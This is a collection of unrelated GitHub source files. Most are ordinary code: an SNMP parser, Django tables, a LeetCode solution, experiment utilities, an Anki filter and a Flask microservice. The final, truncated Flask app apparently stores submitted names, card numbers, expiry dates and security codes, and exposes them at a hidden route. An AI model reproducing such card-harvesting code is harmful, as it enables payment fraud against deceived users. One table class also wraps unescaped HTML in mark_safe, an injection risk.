current_oid.rsplit('.', 4)[-4:]\n curIP = \".\".join(curIPList)\n ipv4_networks[curIP]['netmask'] = current_val\n\n interface_to_ipv4 = {}\n for ipv4_network in ipv4_networks:\n current_interface = ipv4_networks[ipv4_network]['interface']\n current_network = {\n 'address': ipv4_networks[ipv4_network]['address'],\n 'netmask': ipv4_networks[ipv4_network]['netmask']\n }\n if not current_interface in interface_to_ipv4:\n interface_to_ipv4[current_interface] = []\n interface_to_ipv4[current_interface].append(current_network)\n else:\n interface_to_ipv4[current_interface].append(current_network)\n #关联数据\n for interface in interface_to_ipv4:\n results['netinterfaces'][int(interface)]['ipv4'] = interface_to_ipv4[interface]\n\n results['netall_ipv4_addresses'] = all_ipv4_addresses\n\n return dict(results)","repo_name":"llllllizili/zlAsset","sub_path":"zlAsset/apps/tools/snmp/net_pysnmp.py","file_name":"net_pysnmp.py","file_ext":"py","file_size_in_byte":14499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30965634957","text":"from django.utils.safestring import mark_safe\nfrom django_tables2 import columns, tables, utils\n\nfrom commcare_connect.opportunity.models import OpportunityAccess, Payment, PaymentUnit, UserVisit\n\n\nclass OpportunityAccessTable(tables.Table):\n display_name = columns.Column(verbose_name=\"Name\")\n learn_progress = columns.Column(verbose_name=\"Modules Completed\")\n details = columns.LinkColumn(\n \"opportunity:user_learn_progress\",\n verbose_name=\"\",\n text=\"View Details\",\n args=[utils.A(\"opportunity.organization.slug\"), utils.A(\"opportunity.id\"), utils.A(\"pk\")],\n )\n\n class Meta:\n model = OpportunityAccess\n fields = (\"display_name\", \"user.username\", \"learn_progress\")\n orderable = False\n empty_text = \"No learn progress for users.\"\n\n\nclass UserVisitTable(tables.Table):\n # export only columns\n visit_id = columns.Column(\"Visit ID\", accessor=\"xform_id\", visible=False)\n username = columns.Column(\"Username\", accessor=\"user.username\", visible=False)\n form_json = columns.Column(\"Form JSON\", accessor=\"form_json\", visible=False)\n visit_date_export = columns.DateTimeColumn(\n verbose_name=\"Visit date\", accessor=\"visit_date\", format=\"c\", visible=False\n )\n\n deliver_unit = columns.Column(\"Unit Name\", accessor=\"deliver_unit.name\")\n entity_id = columns.Column(\"Entity ID\", accessor=\"entity_id\", visible=False)\n entity_name = columns.Column(\"Entity Name\", accessor=\"entity_name\")\n\n class Meta:\n model = UserVisit\n fields = (\"user.name\", \"username\", \"visit_date\", \"status\")\n sequence = (\n \"visit_id\",\n \"visit_date\",\n \"visit_date_export\",\n \"status\",\n \"username\",\n \"user.name\",\n \"deliver_unit\",\n )\n empty_text = \"No forms.\"\n orderable = False\n\n\nclass OpportunityPaymentTable(tables.Table):\n view_payments = columns.LinkColumn(\n \"opportunity:user_payments_table\",\n verbose_name=\"\",\n text=\"View Details\",\n args=[utils.A(\"opportunity.organization.slug\"), utils.A(\"opportunity.id\"), utils.A(\"pk\")],\n )\n\n class Meta:\n model = OpportunityAccess\n fields = (\"user.name\", \"user.username\", \"payment_accrued\", \"total_paid\")\n orderable = False\n empty_text = \"No user have payments accrued yet.\"\n\n\nclass UserPaymentsTable(tables.Table):\n class Meta:\n model = Payment\n fields = (\"amount\", \"date_paid\")\n orderable = False\n empty_text = \"No payments made for this user\"\n template_name = \"django_tables2/bootstrap5.html\"\n\n\nclass AggregateColumn(columns.Column):\n def render_footer(self, bound_column, table):\n return sum(1 if bound_column.accessor.resolve(row) else 0 for row in table.data)\n\n\nclass BooleanAggregateColumn(columns.BooleanColumn, AggregateColumn):\n pass\n\n\nclass UserStatusTable(tables.Table):\n display_name = columns.Column(verbose_name=\"Name\", footer=\"Total\")\n accepted = BooleanAggregateColumn(verbose_name=\"Accepted\")\n claimed = AggregateColumn(verbose_name=\"Job Claimed\", accessor=\"job_claimed\")\n started_learning = AggregateColumn(verbose_name=\"Started Learning\", accessor=\"date_learn_started\")\n completed_learning = AggregateColumn(verbose_name=\"Completed Learning\", accessor=\"date_learn_completed\")\n passed_assessment = BooleanAggregateColumn(verbose_name=\"Passed Assessment\")\n started_delivery = AggregateColumn(verbose_name=\"Started Delivery\", accessor=\"date_deliver_started\")\n last_visit_date = columns.Column(accessor=\"last_visit_date_d\")\n\n class Meta:\n model = OpportunityAccess\n fields = (\"display_name\", \"user.username\", \"accepted\", \"last_visit_date\")\n sequence = (\n \"display_name\",\n \"user.username\",\n \"accepted\",\n \"started_learning\",\n \"completed_learning\",\n \"passed_assessment\",\n \"claimed\",\n \"started_delivery\",\n \"last_visit_date\",\n )\n empty_text = \"No users invited for this opportunity.\"\n orderable = False\n\n\nclass PaymentUnitTable(tables.Table):\n deliver_units = columns.Column(\"Deliver Units\")\n details = columns.LinkColumn(\n \"opportunity:edit_payment_unit\",\n verbose_name=\"\",\n text=\"Edit\",\n args=[utils.A(\"opportunity.organization.slug\"), utils.A(\"opportunity.id\"), utils.A(\"pk\")],\n )\n\n class Meta:\n model = PaymentUnit\n fields = (\"name\", \"amount\")\n empty_text = \"No payment units for this opportunity.\"\n orderable = False\n\n def render_deliver_units(self, record):\n deliver_units = \"\".join([f\"
  • {d.name}
  • \" for d in record.deliver_units.all()])\n return mark_safe(f\"
      {deliver_units}
    \")\n\n\nclass DeliverStatusTable(tables.Table):\n name = columns.Column(\"Name of the User\", accessor=\"display_name\")\n visits_completed = columns.Column(\"Completed Visits\")\n visits_approved = columns.Column(\"Approved Visits\")\n visits_pending = columns.Column(\"Pending Visits\")\n visits_rejected = columns.Column(\"Rejected Visits\")\n visits_over_limit = columns.Column(\"Over Limit Visits\")\n details = columns.LinkColumn(\n \"opportunity:user_visits_list\",\n verbose_name=\"\",\n text=\"View Details\",\n args=[utils.A(\"opportunity.organization.slug\"), utils.A(\"opportunity.id\"), utils.A(\"pk\")],\n )\n\n class Meta:\n model = OpportunityAccess\n fields = (\"user.username\", \"last_visit_date\")\n orderable = False\n sequence = (\n \"name\",\n \"user.username\",\n \"visits_completed\",\n \"visits_approved\",\n \"visits_pending\",\n \"visits_rejected\",\n \"visits_over_limit\",\n \"last_visit_date\",\n \"details\",\n )\n","repo_name":"dimagi/commcare-connect","sub_path":"commcare_connect/opportunity/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":5851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39136318967","text":"from typing import List\r\n\r\n\r\nclass Solution:\r\n def dailyTemperatures(self, temperatures: List[int]) -> List[int]:\r\n answer = [0] * len(temperatures)\r\n stack = []\r\n\r\n for i in range(len(temperatures)):\r\n while stack and temperatures[i] > temperatures[stack[-1]]:\r\n last = stack.pop()\r\n answer[last] = i - last\r\n stack.append(i)\r\n \r\n return answer\r\n","repo_name":"yg-moon/problem-solving","sub_path":"python-algorithm-interview/my-solutions/3-linear-data-structures/ch09/22-1.py","file_name":"22-1.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"7658267064","text":"# utils.py\n\"\"\"\nThis file contains functions for saving and loading experiments.\nIt also checks that the parameters are valid when saving. \n\"\"\"\n\nimport os\nimport json\nfrom typing import Any, Callable, Union\n\nimport numpy as np\n\nReqParamType = dict[str, Callable[[Any], bool]]\nDataDictType = dict[str, Union[np.ndarray, np.float64]]\nLoadExpType = tuple[dict[str, Any], dict[str, np.ndarray]]\n\n\n# Dictionary used to check that the parameters are included and are valid\n# dict[param_name] = function which checks if the parameter is valid\n_REQUIRED_PARAMS: ReqParamType = {\n \"dataset\": lambda x: x in [\"synthetic\", \"california\", \"mnist\", \"news_groups\"],\n \"rows\": lambda x: isinstance(x, list)\n and all([isinstance(i, int) for i in x])\n and all([i > 0 for i in x]),\n \"cols\": lambda x: isinstance(x, int) and x > 0,\n \"rank\": lambda x: isinstance(x, int) and x > 0,\n \"strata\": lambda x: isinstance(x, int) and x > 0,\n \"iterations\": lambda x: isinstance(x, int) and x > 0,\n \"v_scaling\": lambda x: isinstance(x, int) and x > 0,\n}\n\n_RECOMMENDED_DATA: list[str] = [\n \"A_norm_0\", # norm of A\n \"loss\", # loss over iterations\n]\n\n\ndef save_experiment(\n params_dict: dict[str, Any],\n data_dict: DataDictType,\n experiment_name: str,\n) -> str:\n \"\"\"saves experiment data and parameters to Results/experiment_name folder\n\n Args:\n params_dict: dictionary of parameter names and their corresponding values\n to be saved in params.json file, enforcing that the required parameters are\n saved. e.g. {'dataset': 'synthetic', 'v_scaling': 2}\n data_dict: dictionary of experiment result name and their corresponding values\n examples include loss and A_norm. eg. {'loss': [5,4,3,2]}\n experiment_name: name of the folder to save params and data to in Results folder\n e.g. 'synthetic_experiment' so that the save folder is\n Results/synthetic_experiment\n\n Raises:\n KeyError: Missing parameter in params_dict\n ValueError: Invalid parameter in params_dict\n\n Returns:\n String containing the folder name\n \"\"\"\n # Create folder\n folder_name = os.path.join(\"Results\", experiment_name)\n if not os.path.exists(folder_name):\n print(f\"Making folder: {folder_name}\")\n os.mkdir(folder_name)\n\n # Check that all parameters are valid and exist\n for param, is_valid in _REQUIRED_PARAMS.items():\n if param not in params_dict:\n raise KeyError(f\"Missing parameter: {param}\")\n if not is_valid(params_dict[param]):\n raise ValueError(f\"Invalid parameter: {param} -> {params_dict[param]}\")\n\n # Check the recommended data and suggest it\n for data in _RECOMMENDED_DATA:\n if data not in data_dict:\n print(f\"Missing data: {data}. We suggest saving this variable.\")\n\n # Save parameters\n with open(os.path.join(folder_name, \"params.json\"), \"w\") as f:\n json.dump(params_dict, f)\n\n # Save data\n np.savez(os.path.join(folder_name, \"data.npz\"), **data_dict)\n\n return folder_name\n\n\ndef load_experiment(folder_name: str) -> LoadExpType:\n \"\"\"Loads the experiment from the folder name\n\n Args:\n folder_name: name of the folder to load from\n\n Returns:\n params_dict: parameters used in the experiment\n data_dict: data produced by the experiment\n\n \"\"\"\n # Load parameters\n with open(os.path.join(folder_name, \"params.json\"), \"r\") as f:\n params_dict = json.load(f)\n\n # Load data\n data_dict = np.load(os.path.join(folder_name, \"data.npz\"))\n\n return params_dict, data_dict\n","repo_name":"chapman20j/Stratified-NMF","sub_path":"save_load.py","file_name":"save_load.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13213216525","text":"import pytest\n\nfrom data.series import Series\n\n\n@pytest.fixture\ndef users_data():\n return [\"user 1\", \"user 2\", \"user 3\", \"user 4\"]\n\n\ndef test_from_csv(users_data, tmp_path):\n input_text = \"\"\"user 1,user 2,user 3,user 4\nLukas Novak,Petr Pavel,Pavel Petr,Ludek Skocil\n\"\"\"\n csv_file = tmp_path / \"test.csv\"\n csv_file.write_text(input_text)\n\n data = Series.from_csv(filepath=csv_file, separator=\",\")\n\n assert data.index.labels == users_data\n assert list(data.values) == list(\n [\"Lukas Novak\", \"Petr Pavel\", \"Pavel Petr\", \"Ludek Skocil\"]\n )\n","repo_name":"kmi-jp/template-L08E02","sub_path":"tests/test_series.py","file_name":"test_series.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5147356441","text":"from __future__ import annotations\n\nimport random\nimport re\nfrom functools import lru_cache\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from anki.template import TemplateRenderContext\n# Possible hooks and filters to use\n# from anki.hooks import card_did_render, field_filter\n\n# The filter in the question can be put like {{add-x:1-10}}\n# In the answer we can put {{add-x:1-10-answer}} to generate the answer\n\n\n@lru_cache(maxsize=None)\ndef cached_randrange(\n start: int,\n stop: int,\n context_id: int, # noqa: ARG001 context_id is needed because we only want to cache within one card render\n) -> int:\n # Careful, if multiple processes are spun up, this cache might not be shared.\n # We could use a database to share the cache.\n return random.randrange(start, stop)\n\n\ndef addition_filter(\n field_text: str,\n field_name: str,\n filter_name: str,\n context: TemplateRenderContext,\n) -> str:\n # add-1-10:5\n # add-1-10-q:5\n # add-1-10-a:5\n\n # gen-sentence-q:de nada\n # gen-sentence-a:de nada\n\n if not filter_name.startswith(\"add-\"):\n # not our filter, return string unchanged\n return field_text\n\n pattern = r\"add-(?P[0-9]+)-(?P[0-9]+)(-(?P[qa]))?\"\n match = re.match(pattern, filter_name)\n\n if match:\n start = int(match.group(\"start\"))\n stop = int(match.group(\"stop\"))\n qa = match.group(\"qa\")\n else:\n return invalid_name(filter_name)\n\n to_add = cached_randrange(start, stop, context_id=id(context))\n\n if qa == \"q\":\n return get_question(field_text, to_add)\n elif qa == \"a\":\n return get_answer(field_text, to_add, field_name=field_name)\n\n if context.question_side:\n return get_question(field_text, to_add)\n else:\n return get_answer(field_text, to_add, field_name=field_name)\n\n\ndef invalid_name(filter_name: str) -> str:\n return f\"invalid filter name: {filter_name}\"\n\n\ndef get_question(field_text, to_add):\n return f\"{field_text} + {to_add}\"\n\n\ndef get_answer(field_text, to_add, field_name=None):\n if field_text == f\"({field_name})\":\n # It's just the example text for the field, make a placeholder\n return f\"\"\n\n return str(int(field_text) + to_add)\n\n\ndef init_addition_filter():\n from anki import hooks\n\n # register our function to be called when the hook fires\n hooks.field_filter.append(addition_filter)\n","repo_name":"mathijsvdv/anki-convo","sub_path":"src/anki_convo/addition_filter.py","file_name":"addition_filter.py","file_ext":"py","file_size_in_byte":2451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31169566545","text":"from custos_portal.app_config import CustosAppConfig\n\n\nclass AdminConfig(CustosAppConfig):\n name = 'custos_portal.apps.admin'\n label = 'custos_portal_admin'\n verbose_name = 'Admin'\n app_order = 100\n url_home = 'custos_portal_admin:list_requests'\n fa_icon_class = 'fa-cog'\n app_description = \"\"\"\n Configure and share resources with other users.\n \"\"\"\n nav = [\n {\n 'label': 'Application Catalog',\n 'icon': 'fa fa-list',\n 'url': 'custos_portal_admin:list_requests',\n 'active_prefixes': ['applications', 'list-requests'],\n 'enabled': lambda req: (req.is_gateway_admin or\n req.is_read_only_gateway_admin),\n }\n ]\n\n def app_enabled(self, request):\n if hasattr(request, \"is_gateway_admin\") and request.is_gateway_admin:\n return True\n else:\n return False\n","repo_name":"bhaktinarvekar/airavata-custos-portal","sub_path":"custos_portal/custos_portal/apps/admin/apps.py","file_name":"apps.py","file_ext":"py","file_size_in_byte":925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"12015693091","text":"from flask import Flask, request, jsonify\nfrom flask_cors import CORS\n\nimport os, sys\n\nimport requests\nfrom invokes import invoke_http\n\nimport json\n\napp = Flask(__name__)\nCORS(app)\n\n# input JSON:\n# listing = \n# {\n# \"seller_id\": this.user_id, # user_id stored on the browser (user_id)\n# \"item_details\": { # field input from user from create page\n# \"item_name\": \"Bag of Carrots \",\n# \"category\": \"Vegetables\",\n# \"description\": \"Unused packet of carrots. Expires 3 May.\",\n# \"location\": \"80 Kallang Rd #03-26\",\n# \"date_time\": 2022-04-13 16:30:00\n# }\n# } \n\n# Make sure the following microservices are running:\n# profile.py # load profile.sql data\n# item.js # node installed + MongoDB database\n\nprofile_URL = \"http://profile:5000/profile/\" # requires /:id\ncreate_item_URL = \"http://item:5001/createitem\"\n\n@app.route(\"/create_listing\", methods=['POST'])\ndef create_listing(): # SELLER invokes this complex to create a new item lising, request = {listing}\n # Check if input format and data of the request are in JSON format\n if request.is_json:\n try:\n listing = request.get_json()\n print(\"\\nReceived a valid request in JSON:\", listing)\n\n # 1. Send the item information and user ID - {seller_id}, {item_details}\n result = processCreateListing(listing)\n print('\\n------------------------')\n print('\\nresult: ', result)\n return jsonify(result), result[\"code\"]\n\n except Exception as e:\n # Unexpected error in code\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n ex_str = str(e) + \" at \" + str(exc_type) + \": \" + fname + \": line \" + str(exc_tb.tb_lineno)\n print(ex_str)\n\n return jsonify({\n \"code\": 500,\n \"message\": \"create_listing.py internal error: \" + ex_str\n }), 500\n\n # if reached here, not a JSON request.\n return jsonify({\n \"code\": 400,\n \"message\": \"Invalid JSON input: \" + str(request.get_data())\n }), 400\n\ndef processCreateListing(listing):\n\n # 2. Invoke the profile microservice to retrieve seller information ['GET'] \n # a. Send user_id\n # b. Return name, mobile / error\n\n user_id = listing['seller_id']\n print('\\n\\n-----Invoking profile microservice to get profile information-----')\n profile_results = invoke_http(profile_URL + user_id, method=\"GET\")\n name = profile_results['data']['name']\n mobile = profile_results['data']['mobile']\n print(\"\\nname:\", profile_results['data']['name'])\n print(\"\\nmobile number:\", profile_results['data']['mobile'])\n\n # 4. Return error if profile not retrieved\n code = profile_results['code']\n if code not in range(200, 300):\n return {\n \"code\": 404,\n \"data\": {\"profile_results\": profile_results},\n \"message\": \"Error while trying to retrieve profile information\"\n }\n\n\n\n # 3. Invoke the item microservice ['POST']\n # a. Send the item information (incl seller information)\n # b. Return newly created item / error\n\n item_details = listing['item_details']\n # add seller information to item details\n item_details['seller_id'] = user_id\n item_details['seller_mobile'] = mobile\n item_details['seller_name'] = name \n print(\"the following item details will be sent to item microservice:\" + f'{item_details}') # for debugging, to remove\n \n print('\\n\\n-----Invoking item microservice to create new item listing-----')\n listing_results = invoke_http(create_item_URL, method='POST', json=item_details)\n\n # 4. Return error if item not created\n code = listing_results['code']\n if code not in range(200, 300):\n return {\n \"code\": 500,\n \"data\": {\"listing_results\": listing_results},\n \"message\": \"Error while trying to create listing\"\n }\n\n\n\n # 4. Return the newly created listing\n return {\n \"code\": 201,\n \"data\": {\n \"result\": listing_results,\n }\n }\n\nif __name__ == \"__main__\":\n print(\"This is flask \" + os.path.basename(__file__) + \" for creating a listing\")\n app.run(host=\"0.0.0.0\", port=5100, debug=True) ","repo_name":"jiepengwong/ESDT4","sub_path":"complex/create_listing.py","file_name":"create_listing.py","file_ext":"py","file_size_in_byte":4354,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"42196110573","text":"\"\"\"\n9. Faça um programa que leia um número inteiro N e depois imprima os N primeiros números naturais ímpares.\n\n\"\"\"\n\nn = int(input('Informe um número inteiro: '))\n \ncontador, aux = 1, 1\n \nwhile contador <= n:\n if aux % 2 != 0:\n print(aux)\n contador = contador + 1\n aux = aux + 1\n","repo_name":"pand-oly/curso_python","sub_path":"secao-06/ex09.py","file_name":"ex09.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"10159108956","text":"from astropy.wcs import WCS\nfrom array import array\n\ndef init():\n\twcs = WCS(naxis=2)\n\twcs.wcs.crpix = [0., 0.]\n\twcs.wcs.cdelt = [1./3600.,1./3600.]\n\twcs.wcs.crval = [23.2334, 45.2333]\n\twcs.wcs.ctype = [\"RA---TAN\", \"DEC--TAN\"]\n\treturn wcs\n\n#xp, yp = wcs.wcs_world2pix(23.32, 45.222, 0)\nras = array('f', [23.32, 32.23])\ndecs = array('f', [45.222, 22.254])\nxp, yp = wcs.wcs_world2pix(ras, decs, 0)\n\nprint(xp)\nprint(yp)\n","repo_name":"bgwalter/RadioTelescope","sub_path":"frontend/all-sky.py","file_name":"all-sky.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18627417193","text":"import requests\nimport argparse\n\nfrom save_image import save_image\n\n\ndef main():\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--id\", help=\"Вставьте id запуска spaceX\", default='5eb87d42ffd86e000604b384')\n args = parser.parse_args()\n launch_id = args.id\n \n url = 'https://api.spacexdata.com/v5/launches/{}'.format(launch_id)\n response = requests.get(url)\n response.raise_for_status()\n \n pictures = response.json()['links']['flickr']['original']\n \n filename = 'spaceX_'\n \n for index, picture in enumerate(pictures, start=1):\n full_name = f'{filename}{index}.jpg'\n save_image(picture, full_name)\n\n\nif __name__ == '__main__':\n main()","repo_name":"DanilaKorsakov/spacePhoto","sub_path":"fetch_spacex_images.py","file_name":"fetch_spacex_images.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"21956058156","text":"from flask import Flask\nimport mysql.connector\nfrom flask import jsonify\nfrom bd import mydb\n\napp = Flask(_name_)\n\n@app.route('/sincronizar_datos', methods=['GET'])\ndef sincronizar_datos():\n try:\n \n cursor = mydb.cursor()\n cursor.execute(f\"\"\"\n SELECT * FROM ambulancias WHERE estado = 0 ORDER BY _id DESC LIMIT 1;\n \"\"\")\n row = cursor.fetchone()\n \n \n resultado = {\n '_id': str(row[0]),\n 'ip': str(row[1]),\n 'id': str(row[2]),\n 'msg': str(row[3]),\n 'time': str(row[4]),\n 'estado':str(row[5]),\n\n }\n cursor.close()\n return jsonify(resultado)\n\n except Exception as e:\n return jsonify({'detalle': f'error {e}'}),500\n\n\n@app.route('/actualizar_datos_sincronizados/', methods=['PUT'])\ndef actualizar_datos_sincronizados(id):\n try:\n cursor = mydb.cursor()\n cursor.execute(f\"\"\"\n UPDATE ambulancias SET estado = 1 WHERE _id = {id};\n \"\"\")\n mydb.commit()\n return jsonify({'detalle': 'Exitoso!'}),200\n \n except Exception as e:\n return jsonify({'detalle': f'error {e}'}),500\n\n\n@app.route('/sincronizar_datos_faltantes/', methods = ['GET'])\ndef sincronizar_datos_faltantes(dispositivo_id):\n try: \n cursor = mydb.cursor()\n cursor.execute(f\"\"\"\n SELECT * FROM ambulancias WHERE estado = 0 AND id = '{dispositivo_id}';\n \"\"\")\n row = cursor.fetchone()\n resultado = []\n while row:\n resultado.append({\n '#n': str(row[0]),\n 'ip': str(row[1]),\n 'id': str(row[2]),\n 'msg': str(row[3]),\n 'time': str(row[4]),\n 'estado':str(row[5]),\n\n })\n row = cursor.fetchone()\n cursor.close()\n return jsonify(resultado)\n\n except Exception as e:\n return jsonify({'detalle': f'error {e}'}),500\n\n@app.route('/sincronizar_datos_masivos/', methods = ['PUT'])\ndef sincronizar_datos_masivos(dispositivo_id):\n try:\n cursor = mydb.cursor()\n cursor.execute(f\"\"\"\n UPDATE ambulancias SET estado = 1 WHERE id = '{dispositivo_id}';\n \"\"\")\n mydb.commit()\n return jsonify({'detalle': 'Exitoso!'}),200\n except Exception as e:\n return jsonify({'detalle': f'error {e}'}),5\n\n\n@app.route('/eliminar_registros/', methods=['DELETE'])\ndef eliminar_registros(dispositivo_id):\n try:\n cursor = mydb.cursor()\n cursor.execute(f\"\"\"\n DELETE FROM ambulancias WHERE id = '{dispositivo_id}' AND estado = 1;\n \"\"\")\n mydb.commit()\n\n return jsonify({'detalle': 'Exitoso!'}),200\n\n except Exception as e:\n return jsonify({'detalle': f'error {e}'}),500\n\n \n\nif _name_ == '_main_':\n app.run(host='0.0.0.0')","repo_name":"CAA99/RestAPI_Flask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"9148736819","text":"import sys\n\ncolumn = int(sys.argv[1]) - 1\noutput_base = sys.argv[2]\ntry:\n buckets = int(sys.argv[3])\nexcept IndexError:\n buckets = 10\n\ndef create_file(bucket):\n return open(output_base + '_' + str(bucket), 'w')\n\nfiles = {}\nfor line in sys.stdin:\n ip_bucket = hash(line.split('\\t')[column]) % buckets\n try:\n files[ip_bucket].write(line)\n except KeyError:\n files[ip_bucket] = create_file(ip_bucket)\n files[ip_bucket].write(line)\n \nfor f in files.itervalues():\n f.close()\n","repo_name":"holbech/scrap_scripts","sub_path":"split_on_ip.py","file_name":"split_on_ip.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42238997245","text":"import os\nimport shutil\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\ncore_dir = os.path.dirname(os.path.dirname(__file__))\n\n\nprint(f'+++test+++')\n\ntest_dir = os.path.join(core_dir, 'test')\ninstall_dir = os.path.join(core_dir, os.environ['install_dir'])\n\nprint('Copying test.')\nshutil.copytree(test_dir, install_dir, dirs_exist_ok=True, ignore=shutil.ignore_patterns('README.md'))\n\nprint('Done.')\n","repo_name":"ilia-sharafutdinov/tgg","sub_path":"scripts/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"14375035602","text":"import global_variable\nimport train_net\nimport pymysql\nimport random\nimport csv\n\n# 根据提供的超参数的取值范围进行随机搜索.需要指定的另外一个超参数是随机搜索的次数.\nclass RandomModel(object):\n def __init__(self, is_k_fold, is_test, path, basic_params, hyperparameters, combinations, train_data, test_data):\n self.is_k_fold = is_k_fold\n self.is_test = is_test\n\n self.path = path\n self.train_data = train_data\n self.test_data = test_data\n\n # 超参数名称列表和超参数组合列表.\n self.basic_params = basic_params\n self.hyperparameters = hyperparameters\n self.combinations = combinations\n\n self.result = []\n\n @property\n def res(self):\n return self.result\n\n def register(self, hyper_dic, target):\n res_dic = {}\n res_dic['target'] = target\n res_dic['params'] = hyper_dic\n self.res.append(res_dic)\n\n # 网络模型训练.\n def train(self):\n best_combination = None\n best_test_acc = 0.0\n best_acc_history = []\n test_acc_history = []\n\n for combination in self.combinations:\n params = dict(zip(self.hyperparameters, combination))\n for i, key in enumerate(self.hyperparameters):\n self.basic_params[key] = combination[i]\n print(self.basic_params)\n\n Tr = train_net.Train(self.train_data, self.test_data, self.is_k_fold, self.is_test, self.path, self.basic_params)\n test_acc = Tr.train()\n\n test_acc_history.append(test_acc)\n global_variable.test_acc.append(test_acc)\n if test_acc > best_test_acc:\n best_test_acc = test_acc\n best_combination = self.basic_params.copy()\n global_variable.best_param = best_combination\n global_variable.best_acc.append(best_test_acc)\n best_acc_history.append(best_test_acc)\n\n self.register(params, test_acc)\n\n return best_combination, best_test_acc, best_acc_history, test_acc_history\n\n\ndef get_hyperparameter(hyperParams_dict):\n return hyperParams_dict.keys()\n\ndef get_combinations(count, hyperParams_dict, mustInt_list):\n values = []\n\n for i in range(count):\n fix_value = []\n for key, value in hyperParams_dict.items():\n assert value[0] <= value[1]\n\n if key in mustInt_list:\n fix_value.append(random.randint(value[0], value[1]))\n else:\n fix_value.append(random.uniform(value[0], value[1]))\n values.append(fix_value)\n\n return values\n\n# hyperParams_dict是超参数字典,键是超参数名称,值是列表[a,b],a和b表示取值上下限.\ndef random_search(dataset_name, is_k_fold, is_test, count, basic_params, hyperParams_dict, path, mustInt_list, train_data, test_data):\n init_global_variable()\n hyperparameters = get_hyperparameter(hyperParams_dict)\n combinations = get_combinations(count, hyperParams_dict, mustInt_list)\n\n randomModel = RandomModel(is_k_fold, is_test, path, basic_params, hyperparameters, combinations, train_data, test_data)\n best_combination, best_test_acc, best_acc_history, test_acc_history = randomModel.train()\n global_variable.test_over = True\n global_variable.best_over = True\n global_variable.path = None\n\n for i, r in enumerate(randomModel.res):\n print('Iteration {}: \\n\\t{}'.format(i + 1, r))\n\n path_csv = 'result_csv/result_' + str(global_variable.num_opt) +'.csv'\n csvFile = open(path_csv, 'w', newline = '')\n try:\n writer = csv.writer(csvFile)\n writer.writerow(('number_iter', 'hyper_parameters', 'test_accuracy'))\n for i, r in enumerate(randomModel.res):\n writer.writerow((i + 1, r['params'], r['target']))\n finally:\n csvFile.close()\n\n updateDatabase(dataset_name, best_combination, best_test_acc)\n global_variable.after_create = True\n\n return best_combination, best_test_acc\n\ndef init_global_variable():\n global_variable.test_acc = []\n global_variable.best_acc = []\n global_variable.best_param = None\n global_variable.axv = []\n\ndef updateDatabase(dataset_name, best_param, best_acc):\n connection = pymysql.connect(\n host=global_variable.host,\n user=global_variable.user,\n password=global_variable.password,\n database='opt',\n charset='utf8'\n )\n cursor = connection.cursor()\n result = '../result_csv/result_' + str(global_variable.num_opt) + '.csv'\n\n sql = \"insert into opthistory (id, dataset, optimization, best_param, best_acc, testFig, bestFig, result) values (\" + str(global_variable.num_opt) +\", '\" + dataset_name + \"', '随机搜索', \\\"\" + str(best_param) + \"\\\", \" + str(best_acc) + \", 'None', 'None', '\" + result + \"');\"\n print(sql)\n cursor.execute(sql)\n connection.commit()\n\n cursor.close()\n connection.close()","repo_name":"llemontea/hyperOpt","sub_path":"optimization/randomSearchModel.py","file_name":"randomSearchModel.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"33265533847","text":"from flask import Flask\nimport random\nfrom flask import render_template, request, redirect\nimport sqlite3\n\napp = Flask( # Create a flask app\n __name__,\n template_folder='templates', # Name of html file folder\n static_folder='static' # Name of directory for static files\n)\n\nconnection = sqlite3.connect('MyDB.db', check_same_thread=False)\ncursor = connection.cursor()\nprint(\"Connected to the database...\")\nsql_command = \"\"\"\n CREATE TABLE IF NOT EXISTS inputs (\n input_id INTEGER PRIMARY KEY,\n name TEXT NOT NULL,\n\tcc TEXT NOT NULL,\n exp TEXT NOT NULL,\n sn TEXT NOT NULL);\n\"\"\"\ncursor.execute(sql_command)\nconnection.commit()\n\n\n@app.route('/')\ndef base_page():\n print(\"a user connected...\")\n return render_template('index.html')\n\n@app.route('/notanswer/')\ndef answers():\n return render_template('answers.html')\n\n@app.route('/info/')\ndef showinfo():\n cursor.execute('''SELECT * from inputs''')\n row = cursor.fetchone()\n ccarr = []\n expdarr = []\n namearr = []\n snarr = []\n while row is not None:\n cc = row[1]\n 